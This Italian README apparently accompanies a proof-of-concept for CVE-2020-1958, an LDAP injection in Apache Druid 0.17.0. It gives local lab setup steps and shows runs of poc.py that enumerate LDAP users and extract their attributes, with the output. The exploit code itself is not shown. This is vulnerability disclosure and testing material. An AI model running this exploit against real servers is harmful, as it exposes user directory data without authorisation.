
CVE-2020-1958 PoC
CVE-2020-1958 è una vulnerabilità di iniezione LDAP ad alta gravità in Apache Druid 0.17.0. Consente a un attaccante di aggirare il filtro di ricerca LDAP e di recuperare qualsiasi valore degli attributi LDAP degli utenti presenti sul server LDAP.
Dal bollettino ufficiale di Apache Druid:
Quando l'autenticazione LDAP è abilitata:
- I chiamanti delle API di Druid con un set valido di credenziali LDAP possono aggirare la barriera del filtro
credentialsValidator.userSearchche determina se un utente LDAP valido è autorizzato ad autenticarsi con Druid. Restano comunque soggetti ai controlli di autorizzazione basati sui ruoli, se configurati.- I chiamanti delle API di Druid possono recuperare qualsiasi valore degli attributi LDAP degli utenti presenti sul server LDAP, purché tali informazioni siano visibili al server Druid. Questa divulgazione di informazioni non richiede che il chiamante stesso sia un utente LDAP valido.
Lo script poc.py dimostra come un attaccante non autorizzato possa enumerare gli utenti sul server LDAP integrato con Druid e recuperare il valore di qualsiasi attributo di qualsiasi utente.
Salta questo passaggio se disponi già di un server Druid con autenticazione LDAP abilitata.
Scarica Druid 0.17.0 ed estrailo
$ wget https://archive.apache.org/dist/druid/0.17.0/apache-druid-0.17.0-bin.tar.gz
$ tar -zxf apache-druid-0.17.0-bin.tar.gz
Abilita e configura l'autenticazione LDAP in conf/druid/single-server/nano-quickstart/_common/common.runtime.properties
Abilita l'estensione druid-basic-security
Individua druid.extensions.loadList e aggiungi druid-basic-security:
druid.extensions.loadList=["druid-hdfs-storage", "druid-kafka-indexing-service", "druid-datasketches", "druid-basic-security"]
Configura l'autenticazione LDAP
Aggiungi quanto segue alla fine del file:
druid.auth.authenticatorChain=["ldap"]
druid.auth.authenticator.ldap.type=basic
druid.auth.authenticator.ldap.initialAdminPassword=password
druid.auth.authenticator.ldap.initialInternalClientPassword=password
druid.auth.authenticator.ldap.credentialsValidator.type=ldap
druid.auth.authenticator.ldap.credentialsValidator.url=ldap://127.0.0.1:2389
druid.auth.authenticator.ldap.credentialsValidator.bindUser=cn=admin,dc=example,dc=org
druid.auth.authenticator.ldap.credentialsValidator.bindPassword=admin
druid.auth.authenticator.ldap.credentialsValidator.baseDn=dc=example,dc=org
druid.auth.authenticator.ldap.credentialsValidator.userSearch=(&(uid=%s)(memberof=cn=users,dc=example,dc=org))
druid.auth.authenticator.ldap.credentialsValidator.userAttribute=uid
druid.auth.authenticator.ldap.authorizerName=MyAuthorizer
druid.escalator.type=basic
druid.escalator.internalClientUsername=user1
druid.escalator.internalClientPassword=user1
druid.escalator.authorizerName=MyAuthorizer
druid.auth.authorizers=["MyAuthorizer"]
druid.auth.authorizer.MyAuthorizer.type=basic
druid.auth.authorizer.MyAuthorizer.initialAdminUser=user1
druid.auth.authorizer.MyAuthorizer.initialAdminRole=admin
druid.auth.authorizer.MyAuthorizer.roleProvider.type=ldap
Esegui il server OpenLDAP
$ docker run -p 2389:389 --name my-openldap-container osixia/openldap:1.3.0
Importa gli utenti da users.ldif in LDAP
$ ldapadd -x -D "cn=admin,dc=example,dc=org" -w admin -H ldap://localhost:2389 -f users.ldif
Esegui il server Druid
$ bin/start-nano-quickstart
$ ./poc.py --url http://127.0.0.1:8888/
[INFO] Enumerating users from http://127.0.0.1:8888/
admin1
admin2
admin3
admin4
admin5
admin6
admin7
user1
user2
user3
user4
admin1$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr mail
[INFO] Exfiltrating mail attribute of admin1 user from http://127.0.0.1:8888/
[email protected]
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr givenName
[INFO] Exfiltrating givenName attribute of admin1 user from http://127.0.0.1:8888/
admin1
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr sn
[INFO] Exfiltrating sn attribute of admin1 user from http://127.0.0.1:8888/
last